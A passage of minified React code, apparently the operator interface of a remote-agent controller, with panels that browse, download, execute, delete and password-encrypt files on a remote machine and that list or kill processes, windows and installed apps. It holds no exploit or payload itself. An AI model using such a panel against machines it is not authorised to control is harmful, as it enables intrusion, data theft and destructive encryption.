`).slice(2),C=[];for(const K of ee){if(K.length<35)continue;const ne=K.substring(0,12).trim(),B=K.substring(13,33).trim();let ie=K.substring(34).trim();if(!ie||ie==="."||ie==="..")continue;const ve=ne==="<DIR>";(ie.endsWith("/")||ie.endsWith("\\"))&&(ie=ie.slice(0,-1)),C.push({name:ie,isDir:ve,size:ve?void 0:ne,modified:B})}a(C)}}else se>=ue&&(N.current&&clearInterval(N.current),N.current=null,l(!1),u("Timed out waiting for agent response"))}catch{}},2e3)}catch(X){u(X instanceof Error?X.message:"Failed to send command"),l(!1)}}},[e,S]),P=H=>{if(H.name.includes("..")||H.name.includes("/")||H.name.includes("\\"))throw new Error("Invalid file name: path traversal detected");const X=n.endsWith("\\")||n.endsWith("/")?"":"\\";return n+X+H.name},I=H=>{k(H),setTimeout(()=>k(""),5e3)},U=async H=>{h(null),g("download"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"download",args:[X]}),ue=await A(se);if(ue.data){let ge;try{ge=atob(ue.data)}catch{u("Failed to decode file data: invalid base64 encoding");return}const xe=new Uint8Array(ge.length);for(let K=0;K<ge.length;K++)xe[K]=ge.charCodeAt(K);const Y=new Blob([xe]),ee=URL.createObjectURL(Y),C=document.createElement("a");C.href=ee,C.download=H.name,document.body.appendChild(C),C.click(),document.body.removeChild(C),URL.revokeObjectURL(ee),I(`Downloaded ${H.name}`)}}catch(X){u(X instanceof Error?X.message:"Download failed")}finally{g(null)}},D=async H=>{h(null),g("delete"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"delete",args:[X]});await A(se),I(`Deleted ${H.name}`),O(n)}catch(X){u(X instanceof Error?X.message:"Delete failed")}finally{g(null)}},M=async(H,X,se)=>{v(null),w(""),g(H),u(""),k("");try{const ue=P(X),{task_id:ge}=await Ee(e,{command:H,args:[ue,se]}),xe=await A(ge);I(xe.output||`${H==="encrypt"?"Encrypted":"Decrypted"} ${X.name}`),O(n)}catch(ue){u(ue instanceof Error?ue.message:`${H} failed`)}finally{g(null)}},F=async H=>{h(null),g("execute"),u(""),k("");try{const X=P(H),{task_id:se}=await Ee(e,{command:"execute",args:[X]}),ue=await A(se);I(ue.output||`Executed ${H.name}`)}catch(X){u(X instanceof Error?X.message:"Execute failed")}finally{g(null)}},R=(H,X)=>{H.preventDefault(),H.stopPropagation();const se=180,ue=220;let ge=H.clientX,xe=H.clientY;ge+se>window.innerWidth&&(ge=window.innerWidth-se-8),xe+ue>window.innerHeight&&(xe=window.innerHeight-ue-8),h({x:Math.max(4,ge),y:Math.max(4,xe),entry:X})},W=()=>{!y||!b.trim()||M(y.action,y.entry,b)},$=n.split(/[/\\]/).filter(Boolean);return s.jsxs("div",{className:"p-6 animate-fade-in max-w-3xl mx-auto",onContextMenu:H=>{H.preventDefault(),h(null)},children:[s.jsxs("div",{className:"flex items-center gap-1 mb-4 text-xs font-mono overflow-x-auto",children:[s.jsx("button",{onClick:()=>O("C:\\"),className:"text-zerin-text-muted hover:text-zerin-accent transition-colors px-1",disabled:S,children:"root"}),$.map((H,X)=>s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:()=>{const se=$.slice(0,X+1).join("\\")+"\\";O(se)},className:"text-zerin-text-dim hover:text-zerin-accent transition-colors px-1",disabled:S,children:H})]},X))]}),s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:()=>O(n),disabled:S||o,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[o?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Browse"]}),S&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"}),x&&s.jsxs("span",{className:"inline-flex items-center gap-1.5 text-xs text-zerin-text-muted",children:[s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}),x,"..."]})]}),c&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:c}),j&&s.jsx("div",{className:"bg-zerin-accent/10 border border-zerin-accent/30 px-4 py-3 text-xs text-zerin-accent mb-4 font-mono",children:j}),d?i.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[24px_1fr] gap-2 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"})]}),i.map(H=>s.jsxs("button",{onClick:()=>{if(H.isDir){const X=n.endsWith("\\")||n.endsWith("/")?"":"\\";O(n+X+H.name)}},onContextMenu:X=>R(X,H),className:`w-full grid grid-cols-[24px_1fr] gap-2 px-4 py-2 text-left\r
border-b border-zerin-panel-border last:border-b-0\r
hover:bg-zerin-panel-hover transition-colors text-sm`,children:[s.jsx("span",{className:"text-zerin-text-muted",children:H.isDir?s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 14.25v-2.625a3.375 3.375 0 00-3.375-3.375h-1.5A1.125 1.125 0 0113.5 7.125v-1.5a3.375 3.375 0 00-3.375-3.375H8.25m2.25 0H5.625c-.621 0-1.125.504-1.125 1.125v17.25c0 .621.504 1.125 1.125 1.125h12.75c.621 0 1.125-.504 1.125-1.125V11.25a9 9 0 00-9-9z"})})}),s.jsx("span",{className:H.isDir?"text-zerin-accent font-medium":"text-zerin-text-dim",children:H.name})]},H.name))]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 12.75V12A2.25 2.25 0 014.5 9.75h15A2.25 2.25 0 0121.75 12v.75m-8.69-6.44l-2.12-2.12a1.5 1.5 0 00-1.061-.44H4.5A2.25 2.25 0 002.25 6v12a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9a2.25 2.25 0 00-2.25-2.25h-5.379a1.5 1.5 0 01-1.06-.44z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Browse to list files on the agent"})]})}),m&&s.jsxs("div",{ref:z,className:"animate-scale-in fixed z-[9999] min-w-[170px] border border-zerin-panel-border bg-zerin-panel py-1",style:{left:m.x,top:m.y},children:[s.jsx("div",{className:"px-3 py-1.5 border-b border-zerin-panel-border",children:s.jsx("span",{className:"text-[11px] font-mono text-zerin-text-muted truncate block max-w-[200px]",children:m.entry.name})}),s.jsxs("button",{onClick:()=>U(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 16v1a3 3 0 003 3h10a3 3 0 003-3v-1m-4-4l-4 4m0 0l-4-4m4 4V4"})}),"Download"]}),s.jsxs("button",{onClick:()=>F(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3l14 9-14 9V3z"})}),"Execute"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>{v({action:"encrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z"})}),"Encrypt"]}),s.jsxs("button",{onClick:()=>{v({action:"decrypt",entry:m.entry}),h(null),w("")},className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
text-zerin-text-dim hover:bg-zerin-panel-hover hover:text-zerin-accent transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"})}),"Decrypt"]}),s.jsx("div",{className:"mx-2 my-1 border-t border-zerin-panel-border"}),s.jsxs("button",{onClick:()=>D(m.entry),className:`flex w-full items-center gap-2 px-3 py-1.5 text-left text-sm\r
text-zerin-danger hover:bg-zerin-danger-dim transition-colors`,children:[s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16"})}),"Delete"]})]}),y&&s.jsx("div",{className:"fixed inset-0 z-[10000] flex items-center justify-center bg-black/60",onClick:()=>{v(null),w("")},children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-6 min-w-[340px] animate-scale-in",onClick:H=>H.stopPropagation(),children:[s.jsxs("h3",{className:"text-sm font-semibold text-zerin-text mb-1 capitalize",children:[y.action," File"]}),s.jsx("p",{className:"text-xs text-zerin-text-muted mb-4 font-mono truncate",children:y.entry.name}),s.jsx("label",{className:"block text-xs text-zerin-text-dim mb-1.5",children:"Password"}),s.jsx("input",{ref:_,type:"password",value:b,onChange:H=>w(H.target.value),onKeyDown:H=>{H.key==="Enter"&&W(),H.key==="Escape"&&(v(null),w(""))},placeholder:"Enter password...",className:`w-full bg-zerin-bg border border-zerin-panel-border px-3 py-2\r
text-zerin-text font-mono text-sm placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20\r
transition-all mb-4`}),s.jsxs("div",{className:"flex items-center justify-end gap-2",children:[s.jsx("button",{onClick:()=>{v(null),w("")},className:`px-3 py-1.5 text-xs text-zerin-text-dim\r
hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:W,disabled:!b.trim(),className:`px-4 py-1.5 text-xs font-medium bg-zerin-accent text-white\r
hover:bg-zerin-accent-hover disabled:opacity-40 disabled:cursor-not-allowed\r
transition-colors capitalize`,children:y.action})]})]})})]})}function TU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState(null),[x,g]=p.useState(null),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:S}=await Ee(e,{command:"ps"});u(!0);let N=0;const z=30;v.current=setInterval(async()=>{var _;N++;try{const O=(_=(await Un(e)).results)==null?void 0:_.find(P=>P.task_id===S);if(O){if(v.current&&clearInterval(v.current),v.current=null,a(!1),O.error){l(O.error);return}if(O.output){const P=O.output.split(`
`).filter(M=>M.trim()),I=[];for(const M of P){const F=M.trim().split(/\s+/);if(F.length>=2){const R=parseInt(F[0],10);if(!isNaN(R)){const W=F.length>=3?parseInt(F[1],10):0,$=!isNaN(W)&&F.length>=3,H=$?F.length>=4&&F.slice(3).join(" ")||F[2]:F.slice(1).join(" "),X=$&&F.length>=4?F[2]:void 0;I.push({pid:R,ppid:$?W:0,name:H,user:X,children:[]})}}}const U=new Map;I.forEach(M=>U.set(M.pid,M));const D=[];for(const M of I){const F=U.get(M.ppid);F&&F!==M?F.children.push(M):D.push(M)}r(D.length>0?D:I.map(M=>({...M,children:[]})))}}else N>=z&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(S){l(S instanceof Error?S.message:"Failed to send command"),a(!1)}}},[e,y]),w=(S,N)=>{if(!N)return S;const z=N.toLowerCase();return S.filter(_=>{const A=_.name.toLowerCase().includes(z)||String(_.pid).includes(z),O=w(_.children,N).length>0;return A||O})},j=p.useCallback(async S=>{h(S),g(null);try{await Ee(e,{command:"kill",args:[String(S)]}),setTimeout(b,2e3)}catch(N){l(N instanceof Error?N.message:"Failed to kill process")}finally{h(null)}},[e,b]),k=w(n,d);return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:S=>f(S.target.value),placeholder:"Filter processes...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
text-xs text-zerin-text placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),y&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?n.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-2 border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"PID"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Name"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"User"}),s.jsx("span",{className:"text-xs font-medium text-zerin-text-muted uppercase tracking-wider",children:"Kill"})]}),s.jsx("div",{className:"max-h-[500px] overflow-y-auto custom-scrollbar",children:k.map(S=>s.jsx(VS,{process:S,depth:0,confirmKillPid:x,killingPid:m,onKillClick:N=>g(N),onKillConfirm:j,onKillCancel:()=>g(null)},S.pid))})]}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 6A2.25 2.25 0 016 3.75h2.25A2.25 2.25 0 0110.5 6v2.25a2.25 2.25 0 01-2.25 2.25H6a2.25 2.25 0 01-2.25-2.25V6zM3.75 15.75A2.25 2.25 0 016 13.5h2.25a2.25 2.25 0 012.25 2.25V18a2.25 2.25 0 01-2.25 2.25H6A2.25 2.25 0 013.75 18v-2.25zM13.5 6a2.25 2.25 0 012.25-2.25H18A2.25 2.25 0 0120.25 6v2.25A2.25 2.25 0 0118 10.5h-2.25a2.25 2.25 0 01-2.25-2.25V6zM13.5 15.75a2.25 2.25 0 012.25-2.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-2.25A2.25 2.25 0 0113.5 18v-2.25z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list processes on the agent"})]})})]})}function VS({process:e,depth:t,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o}){const[l,c]=p.useState(!0),u=e.children.length>0,d=n===e.pid,f=r===e.pid;return s.jsxs(s.Fragment,{children:[s.jsxs("div",{className:`w-full grid grid-cols-[80px_1fr_120px_70px] gap-4 px-4 py-1.5\r
border-b border-zerin-panel-border last:border-b-0\r
hover:bg-zerin-panel-hover transition-colors text-xs`,children:[s.jsx("span",{className:"font-mono text-zerin-accent tabular-nums cursor-pointer",onClick:()=>u&&c(!l),children:e.pid}),s.jsxs("span",{className:"text-zerin-text cursor-pointer",style:{paddingLeft:t*16},onClick:()=>u&&c(!l),children:[u&&s.jsx("svg",{className:`w-3 h-3 inline mr-1 text-zerin-text-muted transition-transform ${l?"rotate-90":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 5l7 7-7 7"})}),e.name]}),s.jsx("span",{className:"text-zerin-text-muted truncate",children:e.user||"-"}),s.jsx("span",{children:f?s.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):d?s.jsxs("span",{className:"flex items-center gap-1",children:[s.jsx("button",{onClick:()=>a(e.pid),className:"text-zerin-danger hover:text-red-400 font-medium transition-colors",children:"Yes"}),s.jsx("span",{className:"text-zerin-text-muted",children:"/"}),s.jsx("button",{onClick:o,className:"text-zerin-text-muted hover:text-zerin-text transition-colors",children:"No"})]}):e.pid>4?s.jsx("button",{onClick:()=>i(e.pid),className:"text-zerin-text-muted hover:text-zerin-danger transition-colors",title:`Kill PID ${e.pid}`,children:s.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})}):null})]}),l&&e.children.map(m=>s.jsx(VS,{process:m,depth:t+1,confirmKillPid:n,killingPid:r,onKillClick:i,onKillConfirm:a,onKillCancel:o},m.pid))]})}function MU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useCallback(async()=>{if(!m){a(!0),l(""),r([]),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:y}=await Ee(e,{command:"windows"});u(!0);let v=0;const b=30;h.current=setInterval(async()=>{var w;v++;try{const k=(w=(await Un(e)).results)==null?void 0:w.find(S=>S.task_id===y);if(k){if(h.current&&clearInterval(h.current),h.current=null,a(!1),k.error){l(k.error);return}if(k.output)try{const S=JSON.parse(k.output);r(S)}catch{l("Failed to parse window list")}}else v>=b&&(h.current&&clearInterval(h.current),h.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(y){l(y instanceof Error?y.message:"Failed to send command"),a(!1)}}},[e,m]),g=d?n.filter(y=>{const v=d.toLowerCase();return y.title.toLowerCase().includes(v)||y.class.toLowerCase().includes(v)||String(y.pid).includes(v)||String(y.hwnd).includes(v)}):n;return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:x,disabled:m||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
disabled:opacity-40 disabled:cursor-not-allowed transition-colors`,children:[i?s.jsxs("svg",{className:"animate-spin h-3 w-3",fill:"none",viewBox:"0 0 24 24",children:[s.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),s.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"})}),"Refresh"]}),s.jsxs("div",{className:"relative flex-1 max-w-xs",children:[s.jsx("svg",{className:"absolute left-2.5 top-1/2 -translate-y-1/2 w-3.5 h-3.5 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),s.jsx("input",{type:"text",value:d,onChange:y=>f(y.target.value),placeholder:"Filter windows...",className:`w-full bg-zerin-bg border border-zerin-panel-border pl-8 pr-3 py-1.5\r
text-xs text-zerin-text placeholder-zerin-text-muted\r
focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 transition-all`})]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs",children:"Agent is offline"})]}),o&&s.jsx("div",{className:"bg-zerin-panel border border-zerin-panel-border px-4 py-3 text-xs text-zerin-text-dim mb-4",children:o}),c?g.length>0?s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border bg-zerin-bg-alt",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[100px]",children:"HWND"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[80px]",children:"PID"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Title"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider w-[200px]",children:"Class"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:g.map((y,v)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-accent",children:y.hwnd}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-dim",children:y.pid}),s.jsx("td",{className:"px-4 py-2 text-xs text-zerin-text truncate max-w-[400px]",children:y.title}),s.jsx("td",{className:"px-4 py-2 font-mono text-xs text-zerin-text-muted truncate",children:y.class})]},`${y.hwnd}-${v}`))})]})}),s.jsxs("div",{className:"px-4 py-2 border-t border-zerin-panel-border text-xs text-zerin-text-muted",children:[g.length," window",g.length!==1?"s":""]})]}):c&&n.length===0?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"No visible windows found"}):null:s.jsx("div",{className:"flex items-center justify-center py-16",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-3 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 8l7.89 5.26a2 2 0 002.22 0L21 8M5 19h14a2 2 0 002-2V7a2 2 0 00-2-2H5a2 2 0 00-2 2v10a2 2 0 002 2z"})})}),s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"Click Refresh to list visible windows on the agent"})]})})]})}function LU({agentId:e,agentStatus:t}){const[n,r]=p.useState([]),[i,a]=p.useState(!1),[o,l]=p.useState(""),[c,u]=p.useState(!1),[d,f]=p.useState(""),[m,h]=p.useState("name"),[x,g]=p.useState("asc"),y=t==="dead",v=p.useRef(null);p.useEffect(()=>()=>{v.current&&clearInterval(v.current)},[]);const b=p.useCallback(async()=>{if(!y){a(!0),l(""),r([]),v.current&&(clearInterval(v.current),v.current=null);try{const{task_id:N}=await Ee(e,{command:"installed_apps"});u(!0);let z=0;const _=30;v.current=setInterval(async()=>{var A;z++;try{const P=(A=(await Un(e)).results)==null?void 0:A.find(I=>I.task_id===N);if(P){if(v.current&&clearInterval(v.current),v.current=null,a(!1),P.error){l(P.error);return}if(P.output)try{const I=JSON.parse(P.output);r(I)}catch{l("Failed to parse installed apps data")}}else z>=_&&(v.current&&clearInterval(v.current),v.current=null,a(!1),l("Timed out waiting for agent response"))}catch{}},2e3)}catch(N){l(N instanceof Error?N.message:"Failed to send command"),a(!1)}}},[e,y]);function w(N){m===N?g(z=>z==="asc"?"desc":"asc"):(h(N),g("asc"))}const k=[...d?n.filter(N=>{const z=d.toLowerCase();return N.name.toLowerCase().includes(z)||N.version.toLowerCase().includes(z)||N.publisher.toLowerCase().includes(z)}):n].sort((N,z)=>{const _=N[m]||"",A=z[m]||"",O=_.localeCompare(A,void 0,{sensitivity:"base"});return x==="asc"?O:-O}),S=({col:N})=>m!==N?null:x==="asc"?s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}):s.jsx("svg",{className:"inline w-3 h-3 ml-1 text-zerin-accent",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19 9l-7 7-7-7"})});return s.jsxs("div",{className:"p-6 animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-3 mb-4",children:[s.jsxs("button",{onClick:b,disabled:y||i,className:`inline-flex items-center gap-1.5 px-3 py-1.5 text-xs font-medium\r
bg-zerin-accent text-white hover:bg-zerin-accent-hover\r
